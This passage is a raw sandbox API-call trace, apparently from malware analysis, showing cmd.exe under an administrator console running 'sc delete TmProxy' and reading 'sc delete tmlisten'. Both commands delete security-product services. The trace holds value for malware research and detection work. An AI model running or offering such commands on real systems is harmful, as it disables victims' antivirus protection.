(in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.914] GetProcessHeap () returned 0x4a0000 [0073.914] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.914] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.914] GetFileType (hFile=0x120) returned 0x3 [0073.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.914] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.914] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.914] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.914] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.914] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.914] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.914] GetFileType (hFile=0x120) returned 0x3 [0073.914] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.914] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.914] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.914] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.914] GetFileType (hFile=0xb8) returned 0x3 [0073.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.915] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.915] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.916] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.916] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.916] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="Tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mlisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Pisten\nnService\ne\n\n\nA\"\n") returned 1 [0073.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="rsten\nnService\ne\n\n\nA\"\n") returned 1 [0073.917] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.917] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.917] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="oten\nnService\ne\n\n\nA\"\n") returned 1 [0073.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="xen\nnService\ne\n\n\nA\"\n") returned 1 [0073.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="yn\nnService\ne\n\n\nA\"\n") returned 1 [0073.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.918] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="\n\nnService\ne\n\n\nA\"\n") returned 1 [0073.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.918] GetFileType (hFile=0xb8) returned 0x3 [0073.918] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.918] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.918] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.918] GetFileType (hFile=0x120) returned 0x3 [0073.918] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.918] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmProxy\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmProxy\n", lpUsedDefaultChar=0x0) returned 19 [0073.919] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x12, lpOverlapped=0x0) returned 1 [0073.919] GetProcessHeap () returned 0x4a0000 [0073.919] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.919] GetProcessHeap () returned 0x4a0000 [0073.919] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.919] GetProcessHeap () returned 0x4a0000 [0073.919] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.919] GetProcessHeap () returned 0x4a0000 [0073.919] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.919] GetProcessHeap () returned 0x4a0000 [0073.919] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6510 [0073.919] GetConsoleOutputCP () returned 0x1b5 [0073.919] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.919] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.919] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.920] GetProcessHeap () returned 0x4a0000 [0073.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.920] GetProcessHeap () returned 0x4a0000 [0073.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6550 [0073.920] GetProcessHeap () returned 0x4a0000 [0073.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0073.920] SetErrorMode (uMode=0x0) returned 0x1 [0073.920] SetErrorMode (uMode=0x1) returned 0x0 [0073.920] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.920] SetErrorMode (uMode=0x1) returned 0x1 [0073.920] GetProcessHeap () returned 0x4a0000 [0073.920] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0073.920] GetProcessHeap () returned 0x4a0000 [0073.920] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0073.920] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.920] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.920] GetProcessHeap () returned 0x4a0000 [0073.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.921] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.921] GetProcessHeap () returned 0x4a0000 [0073.921] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.921] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.921] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.921] GetLastError () returned 0x2 [0073.921] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.922] GetLastError () returned 0x2 [0073.922] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.922] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.922] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.922] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.922] GetLastError () returned 0x2 [0073.922] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.922] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.922] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.923] GetProcessHeap () returned 0x4a0000 [0073.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.923] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.923] GetProcessHeap () returned 0x4a0000 [0073.923] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9c) returned 0x4b9180 [0073.923] GetProcessHeap () returned 0x4a0000 [0073.923] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9c [0073.923] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmProxy") returned 1 [0073.924] GetProcessHeap () returned 0x4a0000 [0073.924] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.924] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.924] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.924] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.924] GetProcessHeap () returned 0x4a0000 [0073.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.924] GetProcessHeap () returned 0x4a0000 [0073.924] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.924] GetProcessHeap () returned 0x4a0000 [0073.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.924] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmProxy", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmProxy", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TmProxy", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xb74, dwThreadId=0xaec)) returned 1 [0073.928] CloseHandle (hObject=0x54) returned 1 [0073.928] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.928] GetProcessHeap () returned 0x4a0000 [0073.928] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.928] GetEnvironmentStringsW () returned 0x4c1b10* [0073.928] GetProcessHeap () returned 0x4a0000 [0073.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.928] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.928] NtQueryInformationProcess (in: 